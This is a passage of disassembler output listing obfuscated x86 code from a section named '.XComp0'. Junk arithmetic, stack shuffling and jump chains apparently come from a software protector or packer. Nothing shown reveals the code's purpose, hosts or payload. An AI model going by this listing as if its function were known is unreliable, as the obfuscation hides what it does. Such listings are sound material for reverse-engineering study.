		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_589665
; ---------------------------------------------------------------------------


loc_594552:				; CODE XREF: .XComp0:0058D930j
		neg	ebx
		xor	ebx, 91B5E800h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_5870FC
; ---------------------------------------------------------------------------


loc_594562:				; CODE XREF: .XComp0:00588D6Ej
		mov	[esp], eax
		jmp	loc_5902EF
; ---------------------------------------------------------------------------


loc_59456A:				; CODE XREF: .XComp0:00590004j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_593CD2
; ---------------------------------------------------------------------------


loc_594597:				; CODE XREF: .XComp0:0059507Dj
		shr	edx, 1
		push	ecx
		mov	ecx, 0E7015BFh
		sub	ecx, 4D0F9DF0h
		sub	edx, ecx
		pop	ecx
		mov	edi, edx
		jmp	loc_5890C6
; ---------------------------------------------------------------------------


loc_5945AF:				; CODE XREF: .XComp0:00597B27j
		add	al, 4Eh
		add	al, bh
		sub	al, 4Eh
		pop	ebx
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, 7470698Dh
		add	eax, ebp
		add	eax, 7470698Dh
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58B55E
; ---------------------------------------------------------------------------
		push	5B25h
		mov	[esp], eax
		push	edx
		push	edi
		jmp	loc_597FFF
; ---------------------------------------------------------------------------


loc_5945ED:				; CODE XREF: .XComp0:00586BE9j
		pop	ecx
		push	esi
		jmp	loc_594913
; ---------------------------------------------------------------------------


loc_5945F4:				; CODE XREF: .XComp0:005950C7j
		pop	dword ptr [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_58615F
; ---------------------------------------------------------------------------


loc_594600:				; CODE XREF: .XComp0:00592D68j
		push	edi
		jmp	loc_593556
; ---------------------------------------------------------------------------


loc_594606:				; CODE XREF: .XComp0:0059723Bj
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 262F1034h
		mov	ecx, esi
		pop	esi
		sub	ebx, 19BC24D7h
		add	ebx, 1CEF505Dh
		add	ebx, ecx
		sub	ebx, 1CEF505Dh
		add	ebx, 19BC24D7h
		pop	ecx
		add	ebx, ebp
		jmp	loc_592C70
; ---------------------------------------------------------------------------


loc_59463A:				; CODE XREF: .XComp0:00585FA8j
		add	ecx, 744E0D5Dh
		jmp	loc_5928D7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3A6Dh
		jmp	loc_58464B
; ---------------------------------------------------------------------------


loc_594653:				; CODE XREF: .XComp0:00595AF0j
		push	edi
		mov	edi, 452B5097h
		sub	edi, 452B5093h
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_589233
; ---------------------------------------------------------------------------


loc_594674:				; CODE XREF: .XComp0:005855CDj
		pop	edx
		jmp	loc_5847AC
; ---------------------------------------------------------------------------


loc_59467A:				; CODE XREF: .XComp0:00591BF6j
		add	ah, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	bh, ah
		jmp	loc_58D34C
; ---------------------------------------------------------------------------


loc_59468B:				; CODE XREF: .XComp0:00595495j
		push	ebx
		push	eax
		mov	ah, 7Fh
		push	eax
		push	cx
		mov	cl, 0FCh
		jmp	loc_590F18
; ---------------------------------------------------------------------------


loc_594699:				; CODE XREF: .XComp0:005952E2j
		mov	ebp, 42316EBBh
		add	ebp, 143A4718h
		shl	ebp, 5
		neg	ebp
		add	ebp, 747754EDh
		push	edx
		mov	edx, 2FFC59F0h
		and	edx, 41CF0FC5h
		shr	edx, 7
		and	edx, 4BAE5A09h
		xor	edx, 0A7028288h
		xor	ebp, edx
		pop	edx
		add	edi, ebp
		jmp	loc_58A18D
; ---------------------------------------------------------------------------


loc_5946D4:				; CODE XREF: .XComp0:0058C2F9j
		mov	edi, 38C01A50h
		mov	ebx, edi
		jmp	loc_592831
; ---------------------------------------------------------------------------


loc_5946E0:				; CODE XREF: .XComp0:00590CE1j
		pop	ebp
		jmp	loc_58A4BE
; ---------------------------------------------------------------------------


loc_5946E6:				; CODE XREF: .XComp0:0058DCC5j
		not	edi
		push	ebx
		mov	ebx, 76E50749h
		jmp	loc_58F7AA
; ---------------------------------------------------------------------------


loc_5946F3:				; CODE XREF: .XComp0:00595664j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_587C63
; ---------------------------------------------------------------------------
		mov	[esp], edx
		push	eax
		jmp	loc_592AFD
; ---------------------------------------------------------------------------


loc_594706:				; CODE XREF: .XComp0:00587969j
		mov	[esp], esi
		xor	dword ptr [esp], 20363353h
		pop	edi
		jmp	loc_5962B9
; ---------------------------------------------------------------------------


loc_594716:				; CODE XREF: .XComp0:005844B9j
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58F1A5
; ---------------------------------------------------------------------------


loc_594728:				; CODE XREF: .XComp0:0058F144j
		push	small 5A29h
		jmp	loc_5959CF
; ---------------------------------------------------------------------------


loc_594731:				; CODE XREF: .XComp0:00588EC4j
		add	esi, 0FB9C55C6h
		add	ebp, esi
		pop	esi
		jmp	loc_596EAD
; ---------------------------------------------------------------------------


loc_59473F:				; CODE XREF: .XComp0:00598367j
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_590765
; ---------------------------------------------------------------------------


loc_59475A:				; CODE XREF: .XComp0:00592101j
		add	esi, 38C3481Bh
		add	esi, edi
		jmp	loc_5953FB
; ---------------------------------------------------------------------------


loc_594767:				; CODE XREF: .XComp0:0059165Aj
		sub	esp, 4
		jmp	loc_587E45
; ---------------------------------------------------------------------------


loc_594772:				; CODE XREF: .XComp0:00592217j
		add	ebp, 3E9D61A0h
		xor	ebp, 0A136B0C9h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59034D
; ---------------------------------------------------------------------------


loc_594786:				; CODE XREF: .XComp0:0058C072j
		push	edx
		mov	dh, 66h
		push	1308h
		mov	[esp], eax
		mov	ah, 25h
		sub	ah, 55h
		dec	ah
		jmp	loc_59104A
; ---------------------------------------------------------------------------


loc_59479D:				; CODE XREF: .XComp0:00588177j
		sub	ecx, 0DD801D4Ah
		jmp	loc_583F67
; ---------------------------------------------------------------------------


loc_5947A8:				; CODE XREF: .XComp0:0058EC1Cj
		pop	edx
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_584AF9
; ---------------------------------------------------------------------------


loc_5947BA:				; CODE XREF: .XComp0:00590D41j
		add	esp, 4
		or	edi, 41D94AF8h
		jmp	loc_585E24
; ---------------------------------------------------------------------------


loc_5947C8:				; CODE XREF: .XComp0:00586DAAj
		neg	edi
		push	ebx
		mov	ebx, 47C65D10h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_584C08
; ---------------------------------------------------------------------------


loc_5947E0:				; CODE XREF: .XComp0:0058F013j
		mov	[esp], esi
		push	ebp
		push	4447h
		mov	[esp], edx
		mov	edx, 72BE78CBh
		neg	edx
		shr	edx, 6
		xor	edx, 2C89316Bh
		push	edi
		mov	edi, esp
		jmp	loc_58F3A0
; ---------------------------------------------------------------------------


loc_594804:				; CODE XREF: .XComp0:0058D55Cj
		add	al, 90h
		jmp	loc_58D0F0
; ---------------------------------------------------------------------------


loc_59480B:				; CODE XREF: .XComp0:00583E4Ej
		sub	esi, edx
		pop	edx
		sub	esi, ebx
		add	esi, 2BFE2345h
		sub	esi, 4F5A7F32h
		mov	ebx, esi
		pop	esi
		and	ebx, 3CB66DBEh
		not	ebx
		jmp	loc_58C95B
; ---------------------------------------------------------------------------


loc_59482C:				; CODE XREF: .XComp0:00598552j
		pop	ebx
		pop	esi
		sub	ebp, ebx
		jmp	loc_588FEE
; ---------------------------------------------------------------------------


loc_594835:				; CODE XREF: .XComp0:0058A550j
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	1A68h
		mov	[esp], eax
		mov	eax, 207E0668h
		sub	eax, 0FFFFFFFFh
		neg	eax
		xor	eax, 0DF81F993h
		mov	esi, eax
		pop	eax
		jmp	loc_58CCE4
; ---------------------------------------------------------------------------


loc_59485F:				; CODE XREF: .XComp0:005918D2j
		mov	bl, dh
		mov	al, bl
		pop	ebx
		push	edx
		mov	dh, 0FFh
		jmp	loc_59233B
; ---------------------------------------------------------------------------


loc_59486C:				; CODE XREF: .XComp0:00589D3Dj
		pop	edx
		jmp	loc_584020
; ---------------------------------------------------------------------------


loc_594872:				; CODE XREF: .XComp0:00585618j
		sub	esp, 4
		jmp	loc_58EE43
; ---------------------------------------------------------------------------


loc_59487A:				; CODE XREF: .XComp0:005872ECj
		pop	edi
		push	edx
		push	ecx
		mov	ecx, 15B16CFBh
		push	eax
		mov	eax, 66E663B7h
		jmp	loc_58B51A
; ---------------------------------------------------------------------------


loc_59488D:				; CODE XREF: .XComp0:00598BDAj
		sub	eax, 2C1D6A60h
		add	eax, 59ED3DFEh
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_58AF92
; ---------------------------------------------------------------------------


loc_5948A5:				; CODE XREF: .XComp0:0059680Ej
		mov	[esp], esp
		push	ecx
		jmp	loc_598362
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_587445
; ---------------------------------------------------------------------------


loc_5948BE:				; CODE XREF: .XComp0:005905A5j
		mov	[esp], ecx
		push	eax
		push	7099h
		mov	[esp], edx
		push	edi
		jmp	loc_5894CA
; ---------------------------------------------------------------------------


loc_5948D0:				; CODE XREF: .XComp0:0058CFCCj
		mov	eax, esp
		add	eax, 4
		jmp	loc_597658
; ---------------------------------------------------------------------------


loc_5948DC:				; CODE XREF: .XComp0:00584F31j
		mov	ebp, 7FFD2844h
		and	ebp, 56BF682Dh
		shl	ebp, 5
		xor	ebp, 59C11AEBh
		or	ebp, 453467AAh
		push	edi
		mov	edi, 10DD5180h
		jmp	loc_5870E4
; ---------------------------------------------------------------------------


loc_594901:				; CODE XREF: .XComp0:005959B4j
		mov	[esp], ebx
		jmp	loc_5986FE
; ---------------------------------------------------------------------------


loc_594909:				; CODE XREF: .XComp0:0058A4EBj
		add	eax, 4
		jmp	loc_59070F
; ---------------------------------------------------------------------------


loc_594913:				; CODE XREF: .XComp0:005945EFj
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_587B18
; ---------------------------------------------------------------------------


loc_59492B:				; CODE XREF: .XComp0:005935A7j
		sub	ebp, 0BE59D35Ch
		add	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_58FC30
; ---------------------------------------------------------------------------


loc_59493F:				; CODE XREF: .XComp0:005974B3j
		xor	esi, 7C9A09A8h
		sub	edi, esi
		pop	esi
		jmp	loc_587C07
; ---------------------------------------------------------------------------


loc_59494D:				; CODE XREF: .XComp0:00583B02j
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_585645
; ---------------------------------------------------------------------------


loc_594965:				; CODE XREF: .XComp0:00589B27j
		add	eax, edx
		pop	edx
		jmp	loc_598CB5
; ---------------------------------------------------------------------------


loc_59496D:				; CODE XREF: .XComp0:00594C7Fj
		push	30F3h
		mov	[esp], ecx
		jmp	loc_584DFF
; ---------------------------------------------------------------------------


loc_59497A:				; CODE XREF: .XComp0:005906CBj
		push	edx
		push	ebp
		push	2371DA1h
		jmp	loc_58A506
; ---------------------------------------------------------------------------


loc_594986:				; CODE XREF: .XComp0:00598494j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1D68572Eh
		jmp	loc_585871
; ---------------------------------------------------------------------------


loc_594996:				; CODE XREF: .XComp0:00589170j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_58C16C
; ---------------------------------------------------------------------------


loc_5949A5:				; CODE XREF: .XComp0:0058C55Bj
		add	edi, 1
		add	edi, 2F650282h
		xor	edi, 9BE50BA0h
		jmp	loc_58492A
; ---------------------------------------------------------------------------


loc_5949BC:				; CODE XREF: .XComp0:00590C18j
		mov	edi, 2
		sub	ebx, 30133228h
		add	ebx, edi
		add	ebx, 30133228h
		mov	edi, [esp]
		jmp	loc_590E19
; ---------------------------------------------------------------------------


loc_5949D7:				; CODE XREF: .XComp0:0058DB18j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5957F4
; ---------------------------------------------------------------------------


loc_5949E2:				; CODE XREF: .XComp0:00586C87j
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2D4303A0h
		jmp	loc_58DA8C
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5949FE:				; CODE XREF: .XComp0:005926D0j
		or	esi, 32650AF8h
		push	esi
		not	dword ptr [esp]
		pop	esi
		shl	esi, 4
		add	esi, 14B71176h
		sub	ecx, 72C44D94h
		jmp	loc_595618
; ---------------------------------------------------------------------------


loc_594A1D:				; CODE XREF: .XComp0:0058716Bj
		sub	ebp, eax
		jmp	loc_58B019
; ---------------------------------------------------------------------------


loc_594A24:				; CODE XREF: .XComp0:00584673j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 6CF22A1Bh
		sub	ebp, 0FFFFFFFFh
		jmp	loc_58CE76
; ---------------------------------------------------------------------------


loc_594A3A:				; CODE XREF: .XComp0:005870DFj
		push	ecx
		jmp	loc_589DAD
; ---------------------------------------------------------------------------


loc_594A40:				; CODE XREF: .XComp0:00594EA8j
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		jmp	loc_58CFA8
; ---------------------------------------------------------------------------


loc_594A5D:				; CODE XREF: .XComp0:0058F258j
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_598B20
; ---------------------------------------------------------------------------


loc_594A68:				; CODE XREF: .XComp0:0058D97Aj
		mov	esi, 52156D0Ah
		not	esi
		shl	esi, 3
		jmp	loc_588976
; ---------------------------------------------------------------------------


loc_594A77:				; CODE XREF: .XComp0:0058C565j
		push	esp
		jmp	loc_593E31
; ---------------------------------------------------------------------------


loc_594A7D:				; CODE XREF: .XComp0:0058B5F0j
		or	ah, 76h
		add	ah, 14h
		jmp	loc_59531D
; ---------------------------------------------------------------------------


loc_594A88:				; CODE XREF: .XComp0:00587542j
		and	cl, al
		pop	eax
		jmp	loc_591DB3
; ---------------------------------------------------------------------------


loc_594A90:				; CODE XREF: .XComp0:00588FE9j
		sub	eax, 0FC6F5837h
		push	eax
		sub	dword ptr [esp], 7ABD6404h
		pop	ebp
		add	ebp, 7ABD6404h
		pop	eax
		dec	ebp
		not	ebp
		neg	ebp
		jmp	loc_596C7A
; ---------------------------------------------------------------------------


loc_594AAF:				; CODE XREF: .XComp0:005891A0j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	0D29h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_594F1F
; ---------------------------------------------------------------------------


loc_594AEC:				; CODE XREF: .XComp0:00583D4Dj
		pop	esi
		jmp	loc_58992B
; ---------------------------------------------------------------------------


loc_594AF2:				; CODE XREF: .XComp0:0058B974j
		pop	ebx
		add	eax, esi
		pop	esi
		shl	eax, 4
		sub	eax, 27E84DBFh
		xor	eax, 0C1C9D655h
		jmp	loc_58B7C6
; ---------------------------------------------------------------------------


loc_594B08:				; CODE XREF: .XComp0:0058C56Dj
		not	ebp
		xor	ebp, 84C41h
		jmp	loc_596A24
; ---------------------------------------------------------------------------


loc_594B15:				; CODE XREF: .XComp0:0059285Fj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_594B1A:				; CODE XREF: .XComp0:005841A5j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5961E6
; ---------------------------------------------------------------------------


loc_594B31:				; CODE XREF: .XComp0:0058950Aj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58B65F
; ---------------------------------------------------------------------------


loc_594B3C:				; CODE XREF: .XComp0:0058C8CBj
		mov	edx, [esp]
		add	esp, 4
		and	ecx, 7849504Dh
		jmp	loc_58AB6F
; ---------------------------------------------------------------------------


loc_594B4D:				; CODE XREF: .XComp0:0059226Bj
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_598040
; ---------------------------------------------------------------------------


loc_594B72:				; CODE XREF: .XComp0:00585909j
		mov	ebp, 0ED701863h
		add	ebp, ebx
		pop	ebx
		jmp	loc_597D2D
; ---------------------------------------------------------------------------


loc_594B7F:				; CODE XREF: .XComp0:0058D380j
		push	57BBh
		jmp	loc_589223
; ---------------------------------------------------------------------------


loc_594B89:				; CODE XREF: .XComp0:00598655j
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	60A4h
		mov	[esp], eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_594BA3:				; CODE XREF: .XComp0:00597006j
		mov	ecx, 54C276BDh
		push	ebp
		mov	ebp, 10C359DBh
		mov	esi, 6E8FE163h
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 597826F4h
		or	ebp, 413F7281h
		not	ebp
		not	ebp
		xor	ebp, 1A1C342Dh
		jmp	loc_59820A
; ---------------------------------------------------------------------------


loc_594BD9:				; CODE XREF: .XComp0:0058899Ej
		add	edx, 21BA77E9h
		jmp	loc_5909C6
; ---------------------------------------------------------------------------


loc_594BE4:				; CODE XREF: .XComp0:00598425j
		sub	ecx, 28CA6AB7h
		dec	ecx
		add	ecx, 53BA4562h
		push	esi
		mov	esi, 42180138h
		push	edi
		mov	edi, 778B5165h
		and	esi, edi
		pop	edi
		shl	esi, 3
		jmp	loc_5906A5
; ---------------------------------------------------------------------------


loc_594C08:				; CODE XREF: .XComp0:00589183j
		and	esi, 77494F29h
		shr	esi, 5
		inc	esi
		add	esi, 19D63BF3h
		push	ecx
		jmp	loc_5871EF
; ---------------------------------------------------------------------------


loc_594C1E:				; CODE XREF: .XComp0:00584841j
		neg	ebp
		neg	ebp
		shl	ebp, 7
		add	ebp, 0ECAE5AECh
		jmp	loc_597E46
; ---------------------------------------------------------------------------


loc_594C30:				; CODE XREF: .XComp0:0058EC4Cj
		mov	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 4E435A6Ah
		xor	edx, esi
		pop	esi
		jmp	loc_58E5A4
; ---------------------------------------------------------------------------


loc_594C41:				; CODE XREF: .XComp0:00584C12j
		mov	esi, 320A35F2h
		jmp	loc_596C2D
; ---------------------------------------------------------------------------


loc_594C4B:				; CODE XREF: .XComp0:0058BA33j
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	eax, 4F5529D7h
		sub	eax, 30F3220Dh
		sub	eax, ebx
		add	eax, 30F3220Dh
		push	ebx
		mov	ebx, 4F5529D7h
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_584C83
; ---------------------------------------------------------------------------


loc_594C72:				; CODE XREF: .XComp0:0059298Cj
		push	6C50h
		jmp	loc_58C35B
; ---------------------------------------------------------------------------


loc_594C7C:				; CODE XREF: .XComp0:0059344Dj
		add	[esp], eax
		jmp	loc_59496D
; ---------------------------------------------------------------------------


loc_594C84:				; CODE XREF: .XComp0:0058DEE4j
		not	eax
		push	esi
		mov	esi, 9982C3A0h
		jmp	loc_583B1B
; ---------------------------------------------------------------------------


loc_594C91:				; CODE XREF: .XComp0:0059519Ej
		mov	esp, [esp]
		mov	[esp], ebx
		push	7939h
		mov	[esp], edx
		jmp	loc_58D1CA
; ---------------------------------------------------------------------------


loc_594CA4:				; CODE XREF: .XComp0:00591FB2j
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 9
		jmp	loc_58B566
; ---------------------------------------------------------------------------


loc_594CB5:				; CODE XREF: .XComp0:0059152Bj
		inc	ebx
		xor	ebx, 16F30EFCh
		jmp	loc_587832
; ---------------------------------------------------------------------------


loc_594CC1:				; CODE XREF: .XComp0:0058A9EFj
		add	al, dl
		jmp	loc_5897AE
; ---------------------------------------------------------------------------


loc_594CC8:				; CODE XREF: .XComp0:005871E0j
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58E366
; ---------------------------------------------------------------------------


loc_594CD7:				; CODE XREF: .XComp0:00584F7Fj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_594CDC:				; CODE XREF: .XComp0:00588971j
		or	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_590433
; ---------------------------------------------------------------------------


loc_594CE7:				; CODE XREF: .XComp0:00595ECDj
		mov	ebp, 3B7C6EC1h
		sub	ebp, 468080Ch
		shr	ebp, 8
		jmp	loc_58893A
; ---------------------------------------------------------------------------


loc_594CFA:				; CODE XREF: .XComp0:005977B6j
		mov	ebp, 4121099Ch
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58E284
; ---------------------------------------------------------------------------


loc_594D0D:				; CODE XREF: .XComp0:005923D7j
		pop	ecx
		shl	ecx, 1
		jmp	loc_593FAC
; ---------------------------------------------------------------------------


loc_594D15:				; CODE XREF: .XComp0:00591ECFj
		mov	bh, ah
		jmp	loc_598F37
; ---------------------------------------------------------------------------


loc_594D1C:				; CODE XREF: .XComp0:00590989j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58CED8
; ---------------------------------------------------------------------------


loc_594D33:				; CODE XREF: .XComp0:005870B9j
		sub	ah, 2Fh
		sub	bl, ah
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_590B11
; ---------------------------------------------------------------------------


loc_594D44:				; CODE XREF: .XComp0:00596F9Aj
		mov	edx, 7BEE4BB5h
		add	eax, edx
		pop	edx
		mov	ebp, eax
		pop	eax
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5898FB
; ---------------------------------------------------------------------------


loc_594D5C:				; CODE XREF: .XComp0:00596E35j
		mov	edx, 4DE723C8h
		not	edx
		add	edx, 0B87D54E7h
		mov	edi, edx
		jmp	loc_584E3F
; ---------------------------------------------------------------------------


loc_594D70:				; CODE XREF: .XComp0:0059321Aj
		push	ebx
		xchg	esi, [esp]
		not	esi
		jmp	loc_59370D
; ---------------------------------------------------------------------------


loc_594D7B:				; CODE XREF: .XComp0:00591B68j
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	2717h
		mov	[esp], esi
		push	ebp
		jmp	loc_5911C7
; ---------------------------------------------------------------------------


loc_594D93:				; CODE XREF: .XComp0:00593BEBj
		xor	edx, 99163B4h
		sub	esp, 4
		jmp	loc_586702
; ---------------------------------------------------------------------------


loc_594DA4:				; CODE XREF: .XComp0:00585CABj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58C4D8
; ---------------------------------------------------------------------------


loc_594DB2:				; CODE XREF: .XComp0:005973E9j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_584B61
; ---------------------------------------------------------------------------


loc_594DC0:				; CODE XREF: .XComp0:00584A0Aj
		push	edi
		mov	edi, esp
		jmp	loc_589A18
; ---------------------------------------------------------------------------


loc_594DC8:				; CODE XREF: .XComp0:005969D0j
		push	edi
		jmp	loc_587F34
; ---------------------------------------------------------------------------


loc_594DCE:				; CODE XREF: .XComp0:00597B78j
		and	ebp, 4BED4AF9h
		neg	ebp
		inc	ebp
		and	ebp, 1EE37E5Fh
		xor	ebp, 5A657783h
		jmp	loc_584A7A
; ---------------------------------------------------------------------------


loc_594DE8:				; CODE XREF: .XComp0:0059190Cj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58640C
; ---------------------------------------------------------------------------


loc_594DFC:				; CODE XREF: .XComp0:00590286j
		mov	ebp, 481220DDh
		add	ebp, 396C5756h
		jmp	loc_58E4D6
; ---------------------------------------------------------------------------


loc_594E0C:				; CODE XREF: .XComp0:0058CE50j
		shl	ebx, 3
		add	ebx, 2BB4507h
		sub	ebx, 0E321E3E3h
		xor	ebx, eax
		push	dword ptr [esp]
		jmp	loc_58C204
; ---------------------------------------------------------------------------


loc_594E25:				; CODE XREF: .XComp0:0058A14Cj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59163F
; ---------------------------------------------------------------------------


loc_594E3F:				; CODE XREF: .XComp0:005939ADj
		mul	ecx
		push	6549h
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_58D91B
; ---------------------------------------------------------------------------


loc_594E5F:				; CODE XREF: .XComp0:00598FBBj
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_594E69:				; CODE XREF: .XComp0:0058695Bj
		xor	eax, ecx
		push	3414h
		mov	[esp], eax
		jmp	loc_597C83
; ---------------------------------------------------------------------------


loc_594E78:				; CODE XREF: .XComp0:0059886Dj
		sub	cx, bp
		pop	ebp
		neg	cx
		push	small 2162h
		mov	[esp], cx
		not	word ptr [esp]
		mov	cx, [esp]
		jmp	loc_5916F8
; ---------------------------------------------------------------------------


loc_594E94:				; CODE XREF: .XComp0:00597251j
		mov	cx, [esp]
		push	7D5Bh
		mov	[esp], edx
		push	7348h
		mov	[esp], esp
		jmp	loc_594A40
; ---------------------------------------------------------------------------


loc_594EAD:				; CODE XREF: .XComp0:00585DF7j
		pop	esp
		mov	[esp], eax
		mov	eax, 4DB672B0h
		jmp	loc_597BEA
; ---------------------------------------------------------------------------


loc_594EBB:				; CODE XREF: .XComp0:00591C7Aj
		mov	eax, ecx
		pop	ecx
		jmp	loc_58E1AE
; ---------------------------------------------------------------------------


loc_594EC3:				; CODE XREF: .XComp0:0059771Fj
		xor	edi, 0B6529224h
		jmp	loc_58B122
; ---------------------------------------------------------------------------


loc_594ECE:				; CODE XREF: .XComp0:0058CF68j
		add	esp, 4
		jmp	loc_59211F
; ---------------------------------------------------------------------------


loc_594ED9:				; CODE XREF: .XComp0:00588482j
		xor	edi, esi
		jmp	loc_585AB0
; ---------------------------------------------------------------------------


loc_594EE0:				; CODE XREF: .XComp0:00585A1Bj
		add	esp, 4
		jmp	loc_5971F3
; ---------------------------------------------------------------------------


loc_594EE8:				; CODE XREF: .XComp0:00597C8Aj
		push	edi
		mov	edi, esp
		push	5B21h
		jmp	loc_584CD6
; ---------------------------------------------------------------------------


loc_594EF5:				; CODE XREF: .XComp0:0059163Aj
		mov	[esp], ebx
		jmp	loc_58D0E0
; ---------------------------------------------------------------------------


loc_594EFD:				; CODE XREF: .XComp0:0058FE60j
		sub	esp, 4
		jmp	loc_58C941
; ---------------------------------------------------------------------------


loc_594F08:				; CODE XREF: .XComp0:0059043Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_594F13:				; CODE XREF: .XComp0:00589FA2j
		mov	edx, 7BFA0C05h
		add	ebp, edx
		jmp	loc_58C344
; ---------------------------------------------------------------------------


loc_594F1F:				; CODE XREF: .XComp0:00594AE7j
		mov	esi, 1CA820F6h
		add	esi, 0E357DF0Eh
		sub	edi, 48690DBAh
		add	edi, esi
		add	edi, 48690DBAh
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 4
		jmp	loc_592BBE
; ---------------------------------------------------------------------------


loc_594F46:				; CODE XREF: .XComp0:00585A0Fj
		mov	edx, 78844104h
		xor	edx, 879C401Fh
		add	eax, edx
		pop	edx
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	60BDh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_58C0D5
; ---------------------------------------------------------------------------


loc_594F7E:				; CODE XREF: .XComp0:005977A9j
		xchg	ebp, [esp]
		jmp	loc_58D11F
; ---------------------------------------------------------------------------


loc_594F86:				; CODE XREF: .XComp0:0058ACCCj
		add	ebx, 29F27447h
		pop	edx
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_595E77
; ---------------------------------------------------------------------------


loc_594F99:				; CODE XREF: .XComp0:0058A144j
		mov	[esp], ebx
		push	62D214F5h
		pop	ebx
		push	ecx
		jmp	loc_58BC80
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	ecx
